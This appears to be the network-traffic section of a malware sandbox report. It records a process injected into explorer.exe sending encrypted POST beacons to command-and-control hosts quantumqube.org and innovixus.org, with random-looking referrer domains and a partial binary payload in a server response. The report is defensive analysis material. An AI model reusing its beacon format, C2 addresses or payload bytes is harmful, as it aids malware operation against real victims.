Oct 6, 2024 21:28:16.621803045 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621851921 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621905088 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621922970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.625751972 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.625842094 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.667587042 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.669003963 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669091940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669151068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669203997 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669243097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669295073 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669336081 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669389009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669437885 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669493914 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669547081 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669599056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669645071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669701099 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669751883 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669817924 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669868946 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669935942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.669984102 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.670042038 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.670100927 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.670164108 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.670178890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.715531111 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.715770960 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.719196081 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.720995903 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.721029997 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.721084118 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721131086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.721308947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721472025 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721532106 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721581936 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721651077 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.721682072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.771766901 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.771847963 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.782949924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.783147097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.783237934 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.783317089 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.783396006 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.783459902 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.835536003 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.835591078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.869379997 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.869529009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.869609118 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.869661093 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.869714975 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.869751930 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.874815941 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.874954939 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.875027895 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.875080109 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.875157118 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.875185966 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.919513941 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.919621944 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923001051 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.923218012 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.923331976 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923413038 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923475981 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923538923 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923593998 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923655033 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923702002 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923748970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923804998 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923868895 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.923918009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.928421974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.928740025 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.928821087 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.928859949 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.975528955 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.981158018 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.990704060 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.990786076 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.990886927 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991247892 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991302013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991348982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991415024 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991477966 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991542101 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991592884 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991652012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991700888 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991754055 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.991770029 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996084929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.996215105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996310949 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996365070 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996411085 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996464968 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996514082 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996581078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996633053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.996690035 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.043617010 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.043682098 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.076380968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.076469898 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.076595068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.076729059 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.076806068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.076824903 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.076894999 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.076962948 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.077043056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.077111006 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.077203989 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.077246904 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.081856012 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.124607086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.954674006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.955636024 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:17.955718040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.955732107 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:17.961731911 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:55.177259922 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:55.183478117 CEST	80	49749	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:55.183593035 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:55.183792114 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:55.183851957 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:55.189804077 CEST	80	49749	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:55.189950943 CEST	80	49749	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:55.994390011 CEST	80	49749	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:56.074081898 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.853692055 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.854495049 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.858875036 CEST	80	49749	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:10.858959913 CEST	49749	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.859280109 CEST	80	49750	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:10.859335899 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.859481096 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.859503031 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:10.864252090 CEST	80	49750	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:10.864389896 CEST	80	49750	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:11.760560036 CEST	80	49750	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:11.964747906 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.307445049 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.308979988 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.312711000 CEST	80	49750	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:29.313548088 CEST	49750	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.313783884 CEST	80	49751	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:29.314513922 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.314513922 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.314553022 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:29.319328070 CEST	80	49751	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:29.319451094 CEST	80	49751	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:30.176273108 CEST	80	49751	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:30.230372906 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.241683006 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.242316008 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.247679949 CEST	80	49751	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:48.247850895 CEST	49751	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.247925043 CEST	80	49752	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:48.248064041 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.248104095 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.248116970 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:29:48.253021955 CEST	80	49752	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:48.253160954 CEST	80	49752	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:48.979929924 CEST	80	49752	194.87.189.87	192.168.2.8
Oct 6, 2024 21:29:49.168030977 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.049767971 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.050472021 CEST	49753	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.054928064 CEST	80	49752	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:05.054982901 CEST	49752	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.055252075 CEST	80	49753	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:05.055315971 CEST	49753	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.055474997 CEST	49753	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.055516005 CEST	49753	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:05.060189009 CEST	80	49753	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:05.060364008 CEST	80	49753	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:05.827975988 CEST	80	49753	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:06.043035984 CEST	49753	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:30:06.047552109 CEST	80	49753	194.87.189.87	192.168.2.8
Oct 6, 2024 21:30:06.047616005 CEST	49753	80	192.168.2.8	194.87.189.87

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 21:26:30.189364910 CEST	56206	53	192.168.2.8	1.1.1.1
Oct 6, 2024 21:26:30.205813885 CEST	53	56206	1.1.1.1	192.168.2.8
Oct 6, 2024 21:26:30.272406101 CEST	55116	53	192.168.2.8	1.1.1.1
Oct 6, 2024 21:26:30.536979914 CEST	53	55116	1.1.1.1	192.168.2.8
Oct 6, 2024 21:27:35.834398985 CEST	52405	53	192.168.2.8	1.1.1.1
Oct 6, 2024 21:27:36.068567991 CEST	53	52405	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2024 21:26:30.189364910 CEST	192.168.2.8	1.1.1.1	0x6dcb	Standard query (0)	quantumqube.org	A (IP address)	IN (0x0001)	false
Oct 6, 2024 21:26:30.272406101 CEST	192.168.2.8	1.1.1.1	0xa26f	Standard query (0)	innovixus.org	A (IP address)	IN (0x0001)	false
Oct 6, 2024 21:27:35.834398985 CEST	192.168.2.8	1.1.1.1	0x89b9	Standard query (0)	innovixus.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 6, 2024 21:26:30.205813885 CEST	1.1.1.1	192.168.2.8	0x6dcb	No error (0)	quantumqube.org	194.87.189.87	A (IP address)	IN (0x0001)	false
Oct 6, 2024 21:26:30.536979914 CEST	1.1.1.1	192.168.2.8	0xa26f	No error (0)	innovixus.org	198.54.117.242	A (IP address)	IN (0x0001)	false
Oct 6, 2024 21:27:36.068567991 CEST	1.1.1.1	192.168.2.8	0x89b9	No error (0)	innovixus.org	198.54.117.242	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

upgyyhdoyghspm.org

quantumqube.org

smuegklsriebfq.com

innovixus.org

drfkgcucoqvlrnnc.net

thbqljycmivxnpmr.net

rdycpqjqlugnms.org

crwqlqtuysbj.com

qlijxlatgdyt.com

wqvfywivxptqmt.org

raievqxnfbig.com

vvywjtocjkatexf.net

mxfkxoyxtgh.com

qxdsgfawkutaw.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:26:30.211853981 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://upgyyhdoyghspm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: quantumqube.org
Oct 6, 2024 21:26:30.211853981 CEST	111	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 37 90 e9 35 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{75B}w{`r`[O:=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49718	198.54.117.242	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:26:30.543196917 CEST	281	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://smuegklsriebfq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: innovixus.org
Oct 6, 2024 21:26:30.543196917 CEST	233	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 08 94 e9 16 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{\zbLkn82/aV6)Ea6g[93X'$yS`w!ytRO*,"<`%K0KP{Qn0`-'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49730	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:35.783380985 CEST	285	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drfkgcucoqvlrnnc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: quantumqube.org
Oct 6, 2024 21:27:35.783402920 CEST	257	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 54 b9 e7 37 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{T7}\|-6EG=E3LPHqiJIq'3&d-CuTUUas\|FR"OR#"]!Y~2ot;wE%B%rr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49734	198.54.117.242	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:36.074981928 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://thbqljycmivxnpmr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: innovixus.org
Oct 6, 2024 21:27:36.075068951 CEST	148	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 27 87 90 71 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{'q9a$_}q&U1sYw+31hH}6M^
Oct 6, 2024 21:27:36.642191887 CEST	345	IN	HTTP/1.1 403 Forbidden Date: Sun, 06 Oct 2024 19:27:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Server: namecheap-nginx Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49738	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:36.712831020 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rdycpqjqlugnms.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: quantumqube.org
Oct 6, 2024 21:27:36.712853909 CEST	114	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 27 c2 80 01 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{'.$GC8PJeZDy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49742	198.54.117.242	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:36.783082962 CEST	279	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://crwqlqtuysbj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 172 Host: innovixus.org
Oct 6, 2024 21:27:36.783169031 CEST	172	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 1a dd f6 74 Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{t9<&tM-c'"i'p)z9T#q(L`<@M\3uk3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49746	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:36.999839067 CEST	281	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qlijxlatgdyt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: quantumqube.org
Oct 6, 2024 21:27:36.999982119 CEST	168	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 07 89 9c 2c Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]ainh{,_+BM\|_\()+!~>`b:VpXrfTJpbdX=rT!
Oct 6, 2024 21:27:37.689305067 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:27:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 66 37 30 0d 0a 40 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 27 d2 6c ac 11 c6 52 d1 3b 37 d7 a5 36 82 b4 8a ab 80 da 1b be 00 a0 92 05 00 03 0c a7 32 01 0b 00 00 07 00 9e 03 00 00 62 02 28 96 e9 7a 2a f4 cb 78 52 7f 40 00 50 00 77 c0 64 47 47 36 9c 8d 96 4a ed d1 9e d6 80 c4 6c 33 99 24 a7 b4 b4 35 c3 e1 cb 26 ef 22 79 42 75 08 78 08 f7 1d 9b dc 6b cb 0a ea f2 8b 19 bf 99 78 b9 82 ba ce 22 33 4f 4a a8 df 50 78 ae 76 77 2e c7 9b 5e 2d 28 67 32 da c8 c9 75 cd d4 a5 2b c1 10 eb 1d a0 33 0d 98 9e 44 f7 6b a9 c6 24 31 3d 1d f1 ea e8 ae 1d d5 84 1f af 15 26 fb 4f bb 25 b9 52 6e f5 a0 8a 0a 49 0e 48 3c 5c 38 d3 13 33 ca aa 9b 5c 35 3f 78 1b f1 19 e1 c2 70 4c e8 73 36 6b 7d d5 